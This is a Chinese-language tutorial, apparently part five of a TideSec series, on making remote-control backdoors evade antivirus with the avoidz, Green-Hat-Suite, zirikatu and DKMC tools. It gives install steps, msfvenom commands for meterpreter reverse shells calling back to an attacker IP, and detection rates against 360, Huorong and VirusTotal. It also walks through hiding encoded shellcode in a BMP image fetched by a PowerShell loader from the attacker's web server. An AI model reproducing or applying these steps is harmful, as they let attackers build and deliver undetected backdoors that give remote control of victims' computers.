TideSec远控免杀学习五（avoidz+Green-Hat-Suite+zirikatu+DKMC）

参考资料

官方使用教程：https://www.youtube.com/watch?v=ZilOByKkrVk

官方使用教程：https://github.com/Green-m/green-hat-suite/wiki/Use-green-hat-suite

Msf&zirikatu免杀结合利用：http://www.secist.com/archives/3113.html

avoidz

介绍

Avoidz是一个比较使用比较简单的小工具，利用msf生成powershell的shellocde，然后利用c#、python、go、ruby等语言对shellcode进行编译生成exe而达到免杀的效果，套路比较简单，但免杀效果还算不错。

安装

git clone https://github.com/M4sc3r4n0/avoidz
apt install mingw-w64        #apt安装源中已经删除了mingw32，所以只能安装mingw-w64，之后在做32位的软链接
ln -s /usr/bin/i686-w64-mingw32-gcc /usr/bin/i586-mingw32msvc-gcc    #做个软链接，方便软件识别的到
chmod +x setup.sh
./setup.sh

 

使用avoidz编译C#生成exe(VT免杀率37/70)

提供3种C代码编译成exe的方式，想了解详情的可以cat avoidz.rb查看具体区别

我以第一种为例进行测试

./avoidz.rb -h 10.211.55.2 -p 3333 -m windows/meterpreter/reverse_tcp -f c1

默认文件生成到root目录下

 可以正常上线

360和火绒都能过静态，但是动态会报执行powershell，所以powershell这块的命令执行真的有点难搞

上vt：

过了卡巴，我不是在做梦吧，360都过不了，到时候再装个卡巴测试一下

python的由于我的环境装失败了，就不进行演示了

使用avoidz编译golang生成exe(VT免杀率16/70)

./avoidz.rb -h 192.168.42.138 -p 3333 -m windows/meterpreter/reverse_tcp -f go

 仍然是可以过静态，但是动态的搞不定

上vt

效果还不错

小结

avoidz的原理还是比较简单的，msfvenom生成powershell的shellcode，然后各种语言编译一下生成exe，静态检测查杀率还算可以，但行为检测就很容易被查杀出来，和TheFatRat具有相同的缺陷。倒是可以借鉴下他的原理，自己写个免杀工具。

 

Green-Hat-Suite免杀(VT免杀率23/70)

介绍

Green-Hat-Suite是国内大佬Green-m的大作，Green-m大佬在freebuf和自己博客上https://green-m.me/写了很多免杀相关的文章，开始的几篇文章里面有一些知识点就是从他那学到的，而且msfvenom命令自动补全脚本也是出自他之手。

Green-Hat-Suite也是和msf无缝对接的免杀工具，使用ruby开发，可在linux/windows上安装，使用非常简单，虽然已经接近两年没有更新了，但目前来看免杀效果仍然很不错。

安装

git clone https://github.com/Green-m/green-hat-suite
apt-get install metasploit-framework
gem install os
apt-get install mingw-w64
apt-get install wine
# 安装tdm-gcc
TMP=`mktemp /tmp/XXXXXXXXX.exe` && wget https://sourceforge.net/projects/tdm-gcc/files/latest/download -O $TMP && wine $TMP && rm $TMP

windows版本安装

git clone https://github.com/Green-m/green-hat-suite

在powershell中执行其中的install.ps1，也是安装ruby、msf、gcc、mingw-w64这些，作者说比较慢，我没在windows下安装，如有需要请自行在windows下安装测试。

使用

作者提供了使用说明

https://github.com/Green-m/green-hat-suite/wiki/Use-green-hat-suite

使用方法：

ruby greenhat.rb
windows/meterpreter/reverse_tcp
192.168.42.138
3333

没有过火绒以及360

上vt：

看起来还可以

因为Green-Hat-Suite使用了多种方式对shellocde进行处理，所以导致每次生成的shellcode都不同，被查杀的概率也不一样。

小结

Green-Hat-Suite调用了msfvenom进行随机编码生成shellcode，然后Green-Hat-Suite对shellcode进行多重免杀处理混淆，并最终编译生成不同的exe后门文件。虽然原理不算复杂，但两年前的作品，至今来说免杀效果仍很不错。

 

zirikatu免杀(VT免杀率39/71)

介绍

zirikatu是一个用bash编写的小脚本，依赖于msf、mono、mcs等软件，也是调用msfvenom生成shellcode,然后将shellcode嵌入C#代码，试用Mcs编译生成exe后门。

Mono可以让.NET程序跨平台运行在Linux,BSD,Windows,MacOS,Sun Solaris,Wii,索尼PlayStation,苹果iPhone等几乎所有常见的操作系统之上。从Mono2.11版本开始，采用的编译器叫mcs，它的作用是将C#编译为CIL（Common Language Infrastructure，通用中间语言，也叫MSIL微软中间语言，这个语言能运行在所有支持CIL的环境中）

安装

git clone https://github.com/pasahitz/zirikatu.git

使用说明

chmod +x zirikatu.sh
./zirikatu.sh

选择了1，之后都是常规操作了

过掉了火绒，但是360先是成功了，过了一段时间又杀掉了，而这段时间我还没传vt，估计是扔在沙箱里面跑出问题了

上vt：

有点惨

小结

zirikatu利用msfvenom生成shellcode，之后再进行一定处理，编译生成exe。原理比较简单，操作比较方便，免杀效果相比专题12里的Green-Hat-Suite来说虽然一般，但能过火绒和瑞星的确有点出人意料。

 

DKMC免杀(VT免杀率8/55)

介绍

DKMC是Don't Kill My Cat (DKMC)的简称，谷歌翻译为"不要杀害我的小猫咪"，这个名字也是挺少女心的...DKMC是一种生成混淆的shellcode的工具，并把shellcode合成到图像文件中，最终依靠PowerShell执行最终的shellcode有效负载。

安装

git clone https://github.com/Mr-Un1k0d3r/DKMC 
cd DKMC
mkdir output

使用说明

python dkmc.py

五个选项，翻译如下

[*] (gen)	将msf的shellcode注入到一个BMP图像[*] (web)	启动web服务用来分发BMP图像[*] (ps)	生成ps的payload[*] (sc)	将msf生成的raw文件转为shellcode[*] (exit)	退出

这几个选项可不是都能生成payload，而是一起组合来生成免杀的文件。

生成一个后门的流程大体为：

1、先利用msf生成raw文件

2、利用sc讲raw文件转换为shellcode

3、利用gen将上一步的shellcode注入到一个BMP图像

4、利用ps生成基于powershell的BMP文件的payload

5、利用web提供的简单web服务进行分发BMP文件

利用DKMC生成后门

先利用Msf生成raw格式的shellcode，稍微编码了一下

msfvenom -p windows/meterpreter/reverse_https  LHOST=192.168.42.138 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 -f raw -o /root/DKMC.raw

然后在主菜单里面选择sc，然后设置source为/root/DKMC.raw,再执行run生成shellcode。

复制一下生成的shellcode,输入exit退回到主菜单。

然后在主菜单中选择gen,然后设置shellcode为上一步中生成的shellcode，然后run。

看到生成了output-1581602390.bmp图像文件，输入exit退回到主菜单。

在主菜单中选择ps,设置url地址，这个url地址就是web分发图像文件的地址。

我的kali虚拟机的地址为192.168.42.138，我打算用默认的80端口，这样我的url地址为http://192.168.42.138/output-1581602390.bmp

然后设置url：set url http://192.168.42.138/output-1581602390.bmp，然后执行run生成powershell执行脚本

复制一下生成的ps代码，输入exit退回到主菜单

最后一步，在主菜单选择web，使用 run 命令

图片可以正常打开